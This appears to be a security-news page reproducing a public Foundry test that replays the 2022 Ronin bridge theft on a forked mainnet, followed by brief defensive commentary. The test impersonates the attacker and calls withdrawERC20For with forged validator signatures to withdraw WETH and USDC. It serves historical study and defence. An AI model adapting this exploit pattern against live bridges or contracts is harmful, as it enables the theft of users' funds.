Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/Ronin_exp.sol

Public reproduction file for the historical Ronin Network incident (2022-03-29). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/Ronin_exp.sol51 lines
1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4
5import "forge-std/Test.sol";
6import "./../interface.sol";
7
8interface IRoninBridge {
9 function withdrawERC20For(
10 uint256 _withdrawalId,
11 address _user,
12 address _token,
13 uint256 _amount,
14 bytes memory _signatures
15 ) external;
18contract ContractTest is Test {
19 address attacker = 0x098B716B8Aaf21512996dC57EB0615e2383E2f96;
20 address roninBridge = 0x1A2a1c938CE3eC39b6D47113c7955bAa9DD454F2;
21 address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
22 address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
23 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
25 function setUp() public {
26 cheats.createSelectFork("mainnet", 14_442_834); //fork mainnet at 14442834
27 }
29 function testExploit() public {
30 cheats.startPrank(attacker);
32 IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42
33 _withdrawalId: 2_000_000,
34 _user: attacker,
35 _token: WETH,
36 _amount: 173_600_000_000_000_000_000_000,
37 _signatures: hex"01175db2b62ed80a0973b4ea3581b22629026e3c6767125f14a98dc30194a533744ba284b5855cfbc34c1416e7106bd1d4ce84f13ce816370645aad66c0fcae4771b010984ea09911beeadcd3dab46621bc81071ba91ce24d5b7873bc6a34e34c6aafa563916059051649b3c1930425aa3a79a293cacf24a21bda3b2a46a1e3d39a6551c01f962ee0e333c2f7261b3077bb7b7544001d555df4bc2e6a5cae2b2dac3d1fe3875cd1d12fadbeb4c01f01e196aa36e395a94de074652971c646b4b3b7149b3121b0178bd67c4fa659087c5f7696d912dee9db37802a3393bf4bd799e22eb201e78d90dc3f57e99d8916cd0282face42324f3afa0d96b0a09c4f914f15cac9c11037b1b0102b7a3a587c5be368f324893ed06df7bdcd3817b1880bd6dada86df15bd50d275fc694a8914d1818a2d432f980a97892f303d5a893a3eec176f46957958ecb991c"
38 });
40 IRoninBridge(roninBridge).withdrawERC20For({ // 0x993e1c42
41 _withdrawalId: 2_000_001,
42 _user: attacker,
43 _token: USDC,
44 _amount: 25_500_000_000_000,
45 _signatures: hex"016734b276131c27fa94464db17b44ca517b0a9134b15ee4b776596725741cc7836beea1681dda98a83406515981e1d315d5eba13a0173a5a9688f9f920d7a3f7a1c01155c24a2d7a2ffb02530cf58da40c528301dfc22b21b16267dbf4eba2cd3d087276142bddd1d82404b2e75bd12993606a0c7c7626aa74c4d90bd7e4558fbe4261c01067c5aaba1b8e5bb686cda9efdae909aff86dc83f5be79f13af3ee677fb1791175e0b03401bdf7aa6e604eb995c7670384e6fadef3d687a00fd6d33cd47a0dde1c01dad673b6630394d15f8cca8975351d8272390a6c8bb1cb07cc2b04e8d7ea7a867e56a99e9d0c17a8e0629cebda86ee5a5f8b42610494ad0ed0245ffe9b5287631c012f1fb5b4c2b3718ea69197a5239316fbb9b805be3cdf8420324765ab53144b006b3148921458e629ea254df2c383175ca250e6442b8904a0f50ffdf465f6aa6f1b"
46 });
48 // gasless transaction:
49 // https://medium.com/coinmonks/how-to-implement-gas-less-transactions-on-ethereum-9f9273d2f059 }
50 }

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Ronin Network incident dated 2022-03-29. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

  • Review privileged entry points
  • Limit what external coin can be pulled without intent checks
  • Pause or migrate when a class of bug is public

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
Ronin Network
Path
src/test/2022-03/Ronin_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
964bc3f49f3b718865f59d025a5e37074da1740b
Language
Solidity
Size
52 lines
Date
2022-03-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/Ronin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 964bc3f49f3b718865f59d025a5e37074da1740b, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.